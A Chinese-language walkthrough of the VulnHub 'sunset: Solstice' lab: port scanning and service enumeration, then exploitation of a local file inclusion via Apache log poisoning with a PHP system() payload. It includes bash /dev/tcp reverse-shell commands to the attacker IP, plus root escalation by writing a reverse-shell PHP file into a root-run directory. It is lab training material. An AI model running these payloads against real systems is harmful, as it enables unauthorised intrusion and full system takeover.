sunset:Solstice
https://www.vulnhub.com/entry/sunset-solstice,499/
1,將兩臺虛擬機網絡連接都改為NAT模式
2,攻擊機上做namp局域網掃描發現靶機
nmap -sn 192.168.23.0/24
那么攻擊機IP為192.168.23.182,靶場IP192.168.23.244
3,對靶機進行端口服務探測
nmap -sV -T4 -p- -A 192.168.23.244
1.?FTP服務分析(21/tcp, 2121/tcp, 62524/tcp)
pyftpdlib 1.5.6 (21/tcp, 2121/tcp):
- 匿名登錄允許(2121端口):嘗試登錄?ftp://192.168.23.244:2121 用戶名為?anonymous,空密碼。
- 檢查?pub?目錄:ls -al?查看權限和文件。若可寫,可上傳反向Shell或測試文件。
- 搜索漏洞:pyftpdlib 1.5.6 是否存在已知漏洞(如CVE-2021-30800)。
FreeFloat ftpd 1.00 (62524/tcp):
- 舊版本,可能存在緩沖區溢出漏洞(如CVE-2010-4221)。使用?searchsploit freefloat?查找EXP。
2.?SSH服務分析(22/tcp)
OpenSSH 7.9p1:
- 檢查版本是否有已知漏洞(如CVE-2021-41617),但該版本較新,可能已修復。
- 若獲取憑證,可嘗試登錄。或通過其他服務(如FTP/SMB)泄露的憑證進行爆破。
3.?SMTP服務分析(25/tcp)
Exim smtpd:
- 使用?smtp-user-enum?或手動命令枚舉用戶:
telnet 192.168.23.244 25
VRFY root????? # 測試是否存在用戶 - 檢查CVE-2019-15846(Exim 4.92.1以下遠程代碼執行),但需確認版本是否受影響。
4.?HTTP服務分析(80/tcp, 8593/tcp, 54787/tcp)
Apache 2.4.38 (80/tcp):
- 訪問?http://192.168.23.244,檢查頁面內容。
- 使用目錄枚舉工具:
gobuster dir -u http://192.168.23.244 -w /usr/share/wordlists/dirbuster/common.txt
PHP cli服務器 (8593/tcp, 54787/tcp):
- 訪問?http://192.168.23.244:8593?和?http://192.168.23.244:54787,檢查應用功能。
- 檢查PHP版本漏洞(7.3.14),如反序列化、文件包含(?page=../../etc/passwd)。
5.?SMB服務分析(139/tcp, 445/tcp)
Samba 4.9.5-Debian:
- 枚舉共享和用戶:
smbclient -L 192.168.23.244 -N
enum4linux -a 192.168.23.244 - 檢查匿名訪問共享:
smbclient \\\\192.168.23.244\\[sharename] -N - 測試CVE-2017-7494(Samba遠程代碼執行),但需配置允許寫入共享。
6.?Squid代理分析(3128/tcp)
Squid 4.6:
- 測試代理是否開放:
curl -x http://192.168.23.244:3128 Example Domain - 若可用,用于掃描內網或訪問受限資源。
?
4,21端口的ftp服務器登錄失敗,登錄2121端口的ftp服務器成功
ftp 192.168.23.244
ftp 192.168.23.244 2121
再看看web服務的幾個端口
http://192.168.23.244/
http://192.168.23.244:8593/
http://192.168.23.244:54787/
5,經過測試這個網站存在本地文件包含漏洞
http://192.168.23.244:8593/index.php?book=../../../../../../etc/passwd
那么就需要把這個本地文件包含漏洞利用起來,然后getshell。正好能夠包含
http://192.168.23.244:8593/index.php?book=../../../../../../../../../var/log/apache2/access.log
使用nc污染日志
echo -e "GET / HTTP/1.1\r\nHost: 192.168.23.244\r\nUser-Agent: <?php system(\$_GET['cmd']); ?>\r\nConnection: close\r\n\r\n" | nc 192.168.23.244 80
訪問文件包含網頁確定漏洞是否利用成功
http://192.168.23.244:8593/index.php?book=../../../../../../../../../var/log/apache2/access.log&cmd=id
漏洞利用成功,成功執行了系統命令,接下來構造命令反彈shell(需要URL編碼)
bash -c 'exec bash -i &>/dev/tcp/192.168.23.182/4444 <&1'
http://192.168.23.244:8593/index.php?book=../../../../../../../../../var/log/apache2/access.log&cmd=bash%20-c%20%27exec%20bash%20-i%20%26%3E/dev/tcp/192.168.23.182/4444%20%3C%261%27%0A
使用kali接收來自靶機的shell
6,信息收集一下
uname -a
cat /etc/*-release
getconf LONG_BIT
搜索一下root用戶可讀可寫的可執行文件
find / -type f -user root -perm -o=w 2>/dev/null | grep -v "/sys/" | grep -v "/proc/"
查看一下這個文件
cat /var/tmp/sv/index.php
查看一下進程
ps -ef | grep "/var/tmp/sv"
發現有一個進程使用php解釋器執行/var/tmp/sv,使用ehco寫入木馬構造惡意php文件
echo "<?php" > /var/tmp/sv/index.php && echo "echo \"Under construction\";" >> /var/tmp/sv/index.php && echo "exec(\"/bin/bash -c 'bash -i >& /dev/tcp/192.168.23.182/8888 0>&1'\");" >> /var/tmp/sv/index.php && echo "?>" >> /var/tmp/sv/index.php
cat /var/tmp/sv/index.php
靶機上通過nc訪問運行這個進程的57端口,并請求/index.php文件
cd /tmp
curl localhost:57
然后kali開啟對8888端口的監聽
nc -lvvp 8888
成功提權成為root用戶,拿到flag